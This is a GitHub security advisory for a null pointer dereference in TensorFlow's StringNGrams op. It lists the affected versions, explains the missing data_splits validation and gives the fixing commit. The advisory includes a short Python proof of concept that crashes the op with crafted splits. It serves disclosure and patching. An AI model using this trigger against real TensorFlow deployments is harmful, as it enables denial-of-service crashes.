GHSA-xqfj-35wv-m3cr Null pointer dereference in `StringNGrams`

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Impact An attacker can trigger a dereference of a null pointer in `tf.raw_ops.StringNGrams`: ```python import tensorflow as tf data=tf.constant([''] * 11, shape=[11], dtype=tf.string) splits = [0]*115 splits.append(3) data_splits=tf.constant(splits, shape=[116], dtype=tf.int64) tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b'Ss', ngram_widths=[7,6,11], left_pad='ABCDE', right_pad=b'ZYXWVU', pad_width=50, preserve_short_sequences=True) ``` This is because the implementation does not fully validate the `data_splits` argument. This would result in `ngrams_data` to be a null pointer when the output would be computed to have 0 or negative size. Later writes to the output tensor would then cause a null pointer dereference. Patches We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.